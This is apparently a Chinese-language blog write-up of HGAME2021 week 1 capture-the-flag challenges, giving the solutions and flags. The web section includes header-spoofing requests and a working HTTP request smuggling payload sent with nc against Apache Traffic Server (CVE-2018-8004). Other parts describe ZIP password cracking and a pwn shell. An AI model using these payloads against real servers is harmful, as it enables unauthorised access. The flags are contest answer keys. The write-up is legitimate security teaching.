HGAME2021 - Week 1 writeup

web

Hitchhiking_in_the_Galaxy [100]

抓包分析请求,链接 “我要搭顺风车!” 请求 /HitchhikerGuide.php,响应中提示 “405 Method Not Allowed”

换成 POST 请求,响应变为 “只有使用"无限非概率引擎"(Infinite Improbability Drive)才能访问这里~”

添加请求头 “User-Agent: Infinite Improbability Drive”,响应变为

你知道吗?<a href="https://github.com/[REDACTED]">茄子</a>特别要求:你得从他的<a href="https://[REDACTED]/">Cardinal</a>过来

添加请求头 “Referer: https://[REDACTED]/”,响应变为 “flag仅能通过本地访问获得”

添加请求头 “X-Forwarded-For: 127.0.0.1”,即可得到 flag

Flag: hgame{[email protected][email protected]!}

watermelon [100]

基于一个用 Cocos2d 制作的小游戏《合成大西瓜》修改而成,游戏结束时得分超过 2000 可出 flag

审计游戏源码 /src/project.js,一开始搜索关键词 “>= 2000” 无结果,只好从头开始看逻辑,找到 gameOverShowText 才发现判断逻辑是 “> 1999”……

之后执行的 alert(window.atob("aGdhbWV7ZG9feW91X2tub3dfY29jb3NfZ2FtZT99")) 就是弹出 flag 了,直接控制台运行或者把 base64 解码即可得到 flag

Flag: hgame{do_you_know_cocos_game?}

宝藏走私者 [50]

首页提示需要以 localhost 访问 /secret 页面,直接访问提示

ONLY LOCALHOST(127.0.0.1) CAN ACCESS THE SECRET_DATA!
YOUR Client-IP(Client-IP NOT FOUND IN HEADERS!) IS NOT ALLOWED!

一番尝试添加请求头伪装本地请求无果,响应均能显示真实的客户端 IP 地址

仔细观察响应头发现 Server: ATS/7.1.2,说明使用了存在 HTTP 请求走私漏洞的 Apache Traffic Server v7.1.2 作为反代(CVE-2018-8004),详细信息可见 Seebug 的文章

构造 payload 并直接通过 nc 发送即可走私 HTTP 请求来获得位于 ATS 后的服务器的响应

$ printf "GET /secret HTTP/1.1\r\nHost: [REDACTED]\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /secret HTTP/1.1\r\nHost: localhost\r\nClient-IP: 127.0.0.1\r\n\r\n" | nc [REDACTED] 80
# ...[OMITTED]...
">WELCOME LOCALHOST. HERE IS THE SECRET:<br>hgame{HtTp+sMUg9l1nG^i5~r3al1y-d4nG3r0Us!}</div>
# ...[OMITTED]...

(如果响应为 “Client-IP NOT FOUND IN HEADERS!” 可以多试几次)

Flag: hgame{HtTp+sMUg9l1nG^i5~r3al1y-d4nG3r0Us!}

智商检测鸡 [150]

需要提交 100 道定积分题 的答案,分析一下页面源码可在 /static/js/fuckmath.js 中找到所有相关 API

可能由于还是第一周所以没什么坑,刷完 100 题即可获取 flag,且题目格式也很固定

import scipy.integrate as integrate
import requests
import re

question_pattern = re.compile(r'(\d+)[^\d]+(\d+)[^\d]+(\d+)[^\d]+(\d+)</mn><mo>\)')

baseURL = 'http://[REDACTED]'
r = requests.Session()
r.get(baseURL)

for question_index in range(100):
    try:
        resp = r.get(baseURL + '/api/getQuestion')
        if resp.status_code == 200 and resp.text:
            match = question_pattern.search(resp.text)
            if not match:
                exit(resp.text)
            question_data = match.groups()
            result = integrate.quad(lambda x: int(question_data[2]) * x + int(question_data[3]),
                                    int(question_data[0]) * -1, int(question_data[1]))
            answer = f'{(result[0] + result[1]):.2f}'
            print( f'{question_index}\t∫[{int(question_data[0]) * -1}, {question_data[1]}] ({question_data[2]}x+{question_data[3]}) dx\t={answer}')
            resp = r.post(baseURL + '/api/verify', json={'answer': answer})
            assert resp.status_code == 200 and resp.text and 'true' in resp.text
    except:
        exit(1)

resp = r.get(baseURL + '/api/getFlag')
if resp.status_code == 200 and resp.text:
    print(resp.text)

Flag: hgame{3very0ne_H4tes_Math}

走私者的愤怒 [150]

据说是修复了 “宝藏走私者” 的一点配置问题,考点相同,但是没发现区别(可能仍然存在配置问题?)

payload 如下:

$ printf "GET /secret HTTP/1.1\r\nHost: [REDACTED]\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /secret HTTP/1.1\r\nHost: localhost\r\nClient-Ip: 127.0.0.1\r\n\r\n" | nc [REDACTED] 80
...[OMITTED]...
">WELCOME LOCALHOST. HERE IS THE SECRET:<br>hgame{Fe3l^tHe~4N9eR+oF_5mu9gl3r!!}</div>
...[OMITTED]...

Flag: hgame{Fe3l^tHe~4N9eR+oF_5mu9gl3r!!}

reverse

apacha [150]

XXTEA 加密,密文位于 dword_5020,密钥为 {1, 2, 3, 4},直接利用 Wikipedia 上的参考代码即可解出 flag

#include <stdio.h>
#include <stdint.h>

#define DELTA 0x9E3779B9  // -1640531527
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t *v, int n, uint32_t const key[4]) {
  uint32_t y, z, sum;
  unsigned p, rounds, e;
  if (n > 1) {          /* Coding Part */
    rounds = 6 + 52 / n;
    sum = 0;
    z = v[n - 1];
    do {
      sum += DELTA;
      e = (sum >> 2) & 3;
      for (p = 0; p < n - 1; p++) {
        y = v[p + 1];
        z = v[p] += MX;
      }
      y = v[0];
      z = v[n - 1] += MX;
    } while (--rounds);
  } else if (n < -1) {  /* Decoding Part */
    n = -n;
    rounds = 6 + 52 / n;
    sum = rounds * DELTA;
    y = v[0];
    do {
      e = (sum >> 2) & 3;
      for (p = n - 1; p > 0; p--) {
        z = v[p - 1];
        y = v[p] -= MX;
      }
      z = v[n - 1];
      y = v[0] -= MX;
      sum -= DELTA;
    } while (--rounds);
  }
}

int main() {
  uint32_t enc[35] = {
      0xE74EB323, 0xB7A72836, 0x59CA6FE2, 0x967CC5C1, 0xE7802674, 0x3D2D54E6, 0x8A9D0356, 0x99DCC39C, 0x7026D8ED,
      0x6A33FDAD, 0xF496550A, 0x5C9C6F9E, 0x1BE5D04C, 0x6723AE17, 0x5270A5C2, 0xAC42130A, 0x84BE67B2, 0x705CC779,
      0x5C513D98, 0xFB36DA2D, 0x22179645, 0x5CE3529D, 0xD189E1FB, 0xE85BD489, 0x73C8D11F, 0x54B5C196, 0xB67CB490,
      0x2117E4CA, 0x9DE3F994, 0x2F5AA1AA, 0xA7E801FD, 0xC30D6EAB, 0x1BADDC9C, 0x3453B04A, 0x92A406F9
  };
  uint32_t key[4] = {1, 2, 3, 4};

  btea(enc, -35, key);
  for (size_t k = 0; k != 35; ++k) {
    putchar(enc[k]);
  }

  return 0;
}

Flag: hgame{l00ks_1ike_y0u_f0Und_th3_t34}

helloRe [150]

简单的 xor 加密,将 22 位输入的字符依次与一个从 255 开始递减的数异或,对比位于 byte_140003480 的密文数据

由于异或的特性 (B ^ A) ^ A = B ^ 0 = B,重新进行一次 “加密” 即可还原

enc = [0x97, 0x99, 0x9C, 0x91, 0x9E, 0x81, 0x91, 0x9D, 0x9B, 0x9A, 0x9A, 0xAB,
       0x81, 0x97, 0xAE, 0x80, 0x83, 0x8F, 0x94, 0x89, 0x99, 0x97, 0x00, 0x00]

for i in range(0, 22):
    print(chr(enc[i] ^ 255 - i), end='')

Flag: hgame{hello_re_player}

pypy [150]

Python 字节码逆向,还原后如下

raw_flag = input('give me your flag:\n')
cipher = list(raw_flag[6:-1])
length = len(cipher)

for i in range(length // 2):
    cipher[2*i], cipher[2*i + 1] = cipher[2*i + 1], cipher[2*i]

res = []

for i in range(length):
    res.append(ord(cipher[i]) ^ i)

res = bytes(res).hex()

print('your flag: ' + res)

可以发现又是简单的异或,通过如下脚本还原出 flag

encrypted_flag = '30466633346f59213b4139794520572b45514d61583151576638643a'
res = bytes.fromhex(encrypted_flag)

length = len(res)

cipher = []

for i in range(length):
    cipher.append(chr(res[i] ^ i))

for i in range(length // 2):
    cipher[2 * i], cipher[2 * i + 1] = cipher[2 * i + 1], cipher[2 * i]

raw_flag = 'hgame{' + ''.join(cipher) + '}'

print(raw_flag)

Flag: hgame{G00dj0&_H3r3-I\[email protected][email protected]!~!~}

pwn

whitegive [50]

题目给出编译好的程序及其 C 源码,由于错误地将输入与密码字符串通过 == 进行比较,实际是在比较密码字符串所在地址

由于未开启 PIE,通过 IDA 即可查到其固定地址 0x402012 (4202514)

nc 连接后输入该地址即可 get shell,flag 文件位于同目录

Flag: hgame{W3lCOme_t0_Hg4m3_2222Z222zO2l}

crypto

まひと [50]

摩斯电码 -> ASCII -> Base64,得到 “Vigenere-Liki:}VkmvJb!1XtAxe!hpM1{M+9xqzrTM_Nj~cRg4x”

将冒号后的密文以 “Liki” 作为密钥进行 Vigenère 解密之后利用 Solve Crypto with Force! 工具暴力找到了一个有意义项 “utnzr{pY4Ff1Pny_pElcGB9eNcuL+z1K~hC!!}”(符合 flag 格式)

然后进行 Caesar 解密爆破即可得到 flag

Flag: hgame{cL4Ss1Cal_cRypTO9rAphY+m1X~uP!!}

对称之美 [150]

题目使用 16 位随机密钥对 flag 进行异或加密,可以使用 xortool 基于明文最常见字符进行爆破(当前最新版本有 bug,v0.98 可以正常使用)

$ xortool -l 16 -c 20 cipher  # 文件 cipher 的内容为 task.py 中的 cipher 值
2 possible key(s) of length 16:
cJEqA3G3sfXHuC\x10z
cJEqA3G36fXHuC\x10z
Found 2 plaintexts with 95.0%+ valid characters
See files filename-key.csv, filename-char_used-perc_valid.csv

直接测试得到的两个可能的密钥,结果均有一些错误

使用第二个密钥解密结果开头的 “Symm try” 结合题名猜测应为 “Symmetry”,爆破密钥第 6 位,得到正确字符为 “v”

将明文以 16 个字符分组,发现每组第 15 位字符有错误,爆破密钥第 15 位,得到正确字符为 “B”

Flag: hgame{X0r_i5-a_uS3fU1+4nd$fUNny_C1pH3r}

Transformer [50]

题目给了包含 flag 的密文和 241 对其他内容的明文和相应密文,其实可以直接用 quipquip 自动破解

明文为 “The lift bridge console system has only used password login since 2003, the password is "hgame{ea5y_f0r_fun^3nd&he11o_}",Don't forget to add the year at the end.”,根据提示在 flag 末尾加上今年的年份

Flag: hgame{ea5y_f0r_fun^3nd&he11o_2021}

misc

Base 全家福 [50]

签到题,Base64 -> Base32 -> Base16

Flag: hgame{We1c0me_t0_HG4M3_2021}

不起眼压缩包的养成的方法 [100]

使用 binwalk 发现 JPG 中藏有 ZIP,提取出来发现有密码,备注为 “Password is picture ID (Up to 8 digits)”

使用 ARCHPR 爆破,得到密码 “70415155” 并解压,得到一个文本文档 “NO PASSWORD.txt” 和另一个有密码的压缩包 “plain.zip”,内有 “flag.zip” 与 “NO PASSWORD.txt”

两个 txt 文件的大小及 CRC32 均相同,将已经得到的创建压缩包并使用 ARCHPR 进行已知明文攻击(Plain-text 模式),得到密码 “C8uvP$DP”

解压 plain.zip 后得到 flag.zip,存在 ZIP 伪加密,使用 HEX 编辑器修改加密位 01 0000 00 即可解压得到 flag.txt,其内容为 HTML Entity 编码后的 flag

Flag: hgame{2IP_is_Usefu1_and_Me9umi_i5_W0r1d}

Galaxy [100]

使用 Wireshark 分析数据包,将 No. 1149 处的 HTTP 响应字节流导出为文件,得到 Galaxy.png

使用相关工具(如 pngcheck)检查发现 IHDR 存在 CRC 校验错误,通过如下脚本爆破正确的高度(或宽度)并修改相应值即可得到包含 flag 文字的正确图片

import binascii
import struct

# \x49\x48\x44\x52\x00\x00\x01\xF4\x00\x00\x01\xA4\x08\x06\x00\x00\x00

crc32key = 0xEB1EA007
for i in range(0, 65535):
    height = struct.pack('>i', i)
    data = b'\x49\x48\x44\x52\x00\x00\x14\x40' + height + b'\x08\x03\x00\x00\x00'

    crc32result = binascii.crc32(data) & 0xffffffff

    if crc32result == crc32key:
        print(height.hex().upper())

Flag: hgame{Wh4t_A_W0nderfu1_Wa11paper}

Word RE:MASTER [150]

题目给出两个 Word 文档(.docx),通过 binwalk 检查发现第一个(first.docx)中夹带 “password.xml”,解压出来得到 brainfuck 代码,运行得到第二个文档的密码 “DOYOUKNOWHIDDEN?”

检查第二个文档(maimai.docx)发现内容中有隐藏文字,由空格和制表符组成,替换成二进制解码无果

根据文档中的图片内容 “雪” 提示,将这段隐藏文字保存成文件进行 SNOW 解密

$ stegsnow -C snow.dump
hgame{Cha11en9e_Whit3_P4ND0R4_P4R4D0XXX}

Flag: hgame{Cha11en9e_Whit3_P4ND0R4_P4R4D0XXX}

Categories: CTF

0 Comments

Leave a Reply

Avatar placeholder

Your email address will not be published. Required fields are marked *